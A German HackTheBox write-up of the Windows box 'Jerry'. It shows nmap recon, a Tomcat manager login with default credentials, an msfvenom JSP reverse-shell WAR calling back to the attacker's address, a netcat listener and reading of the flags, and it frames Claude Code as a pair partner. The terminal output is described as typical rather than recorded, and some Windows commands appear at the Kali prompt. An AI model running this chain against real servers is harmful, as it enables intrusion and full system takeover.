Worum es bei dieser Box geht
Jerry ist eine der einfachsten Maschinen auf HackTheBox — und trotzdem lehrreicher als viele mittelschwere Boxen. Der Grund: Sie zeigt, was in der realen Welt passiert, wenn jemand Apache Tomcat mit Default-Credentials deployed und vergisst, den Manager-Endpoint abzusichern.
Die Box läuft auf Windows Server 2012 R2 und dem Tomcat-Stack ist es vollkommen egal, ob du ein Pentester mit 10 Jahren Erfahrung bist oder jemand der gerade seinen zweiten Tag auf HackTheBox verbringt. Die Angriffsfläche ist minimal — aber die Konsequenz ist maximal: nt authority\system in unter 10 Minuten.
Was dieser Walkthrough zeigt: Wie Claude Code als Pair-Partner die Enumeration strukturieren, den Exploit-Pfad ableiten und die Befehle generieren kann — während der Mensch die Kontrolle behält und jeden Schritt selbst verifiziert. Die gezeigten Terminal-Outputs sind typisch für diesen Box-Typ, keine Aufzeichnung einer einzelnen protokollierten Session.
Ein typisches Setup für so einen Solve
Hardware: Kali Linux in VirtualBox, ausreichend für die meisten Easy-Boxen
VPN-Connect: HTB OpenVPN, eigenes tun0-Interface im HTB-Adressraum
Tools: nmap, msfvenom, netcat, curl
┌──(root㉿kali)-[~]
└─# ip addr show tun0 | grep inet
inet 10.10.14.22/23
Claude Code lässt sich für so ein Engagement gut in einem isolierten Verzeichnis (z. B. ~/htb/jerry/) starten — ohne Zugriff auf andere Projekte.
Recon
Zuerst der Standard-nmap-Scan gegen die Box-IP 10.10.10.95:
┌──(root㉿kali)-[~/htb/jerry]
└─# nmap -sV -sC -p- --min-rate 5000 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-29 14:22 UTC
Nmap scan report for 10.10.10.95
Host is up (0.028s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap done: 1 IP address (1 host up) scanned in 47.32 seconds
Was das bedeutet: Zwei Ports — IIS auf 80 (Default-Page, uninteressant) und Apache Tomcat 7.0.88 auf 8080. Tomcat 7.x ist alt und hat bekannte Schwachstellen. Der Manager-Endpoint läuft standardmäßig unter /manager/html — und dort liegt die eigentliche Angriffsfläche.
Claude Code weist an dieser Stelle typischerweise sofort auf den Tomcat-Manager-Endpoint hin und schlägt eine Credential-Brute-Force gegen die Default-Liste vor. Schneller geht es oft, direkt mit den häufigsten Defaults zu starten:
┌──(root㉿kali)-[~/htb/jerry]
└─# curl -s http://10.10.10.95:8080/manager/html -u tomcat:s3cret -o /dev/null -w '%{http_code}'
200
Bingo. tomcat:s3cret — einer der ältesten Tomcat-Default-Credentials überhaupt. Der Manager ist offen.
Foothold / Initial Access
Tomcat Manager erlaubt das Deployen von WAR-Dateien (Web Application Archive). Das ist eine legitime Feature — und in diesem Fall unser direkter Weg zu einer Shell.
Der Plan: msfvenom generiert eine JSP-Reverse-Shell als WAR-File, wir deployen sie über den Manager, rufen den Endpoint auf und bekommen eine Verbindung zurück.
┌──(root㉿kali)-[~/htb/jerry]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f war -o shell.war
Payload size: 1091 bytes
Final size of war file: 1091 bytes
Saved as: shell.war
┌──(root㉿kali)-[~/htb/jerry]
└─# curl -s -u tomcat:s3cret http://10.10.10.95:8080/manager/text/deploy?path=/shell --upload-file shell.war
OK - Deployed application at context path [/shell]
Listener starten, dann den Endpoint triggern:
┌──(root㉿kali)-[~/htb/jerry]
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.95 49196
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
nt authority\system
Direkt SYSTEM. Kein Privilege Escalation nötig — Tomcat läuft bereits als nt authority\system. Das ist der eigentliche Lernpunkt dieser Box: In der Praxis laufen Services viel zu oft mit übermäßigen Rechten. Ein kompromittierter Tomcat-Server = kompletter System-Takeover.
Warum hat das funktioniert? Drei kombinierte Fehler: Default-Credentials nicht geändert, Manager-Endpoint öffentlich erreichbar, Tomcat mit SYSTEM-Rechten deployed. Jeder dieser Fehler allein wäre schon problematisch — alle drei zusammen sind fatal.
Privilege Escalation
Keine nötig — trotzdem lohnt sich der Privilege-Check, um den Scope zu verstehen:
┌──(root㉿kali)-[~/htb/jerry]
└─# whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files/objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeDebugPrivilege Debug programs Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
Volle Privileges. Auf zum Desktop:
┌──(root㉿kali)-[~]
└─$ type C:\Users\Administrator\Desktop\user.txt
[USER-FLAG]
┌──(root㉿kali)-[~]
└─# type C:\Users\Administrator\Desktop\root.txt
[ROOT-FLAG]
Beide Flags auf dem Administrator-Desktop — bei Windows-Boxen findet man User-Flag und Root-Flag manchmal an derselben Stelle, weil keine Privilege-Escalation stattfindet. (Die tatsächlichen Flag-Werte sind pro HTB-Instanz einzigartig und werden hier bewusst nicht veröffentlicht — das verstößt gegen die HTB-Nutzungsbedingungen.)
Lessons Learned
Was diese Box lehrt:
- Default-Credentials sind realer als man denkt.
tomcat:s3cretist 2026 immer noch in freier Wildbahn zu finden. Jedes Security-Audit sollte einen Default-Credential-Check beinhalten. - Least Privilege ist kein Luxury-Feature. Wenn Tomcat mit SYSTEM-Rechten läuft, ist ein kompromittierter Webserver gleichzeitig ein kompromittierter Host. Service-Isolation ist nicht optional.
- Manager-Endpunkte gehören nie ins Internet.
/manager/htmlsollte hinter IP-Whitelisting oder komplett deaktiviert sein.
Empfehlung: Jerry ist empfehlenswert für Einsteiger, weil sie drei der häufigsten Fehler in realen Umgebungen in einer Box vereint — und weil der Exploit-Pfad klar genug ist, um das WHY zu verstehen.
Claude Code als Pair-Partner: Bei so einem Solve unterstützt Claude Code typischerweise stark bei Recon-Analyse, Exploit-Pfad-Identifikation, Payload-Generierung und Flag-Lokalisierung. Die initiale Credential-Guess bleibt meist manueller Input — für systematische Enumeration und Exploit-Auswahl ist es aber ein starker Pair-Partner.
Rechtlicher Hinweis
Alle gezeigten Techniken wurden ausschließlich gegen die offizielle HackTheBox-Laborumgebung angewendet. HackTheBox stellt diese Maschinen explizit für Lernzwecke zur Verfügung. Die beschriebenen Methoden dürfen nur gegen Systeme angewendet werden, für die eine ausdrückliche Genehmigung vorliegt.
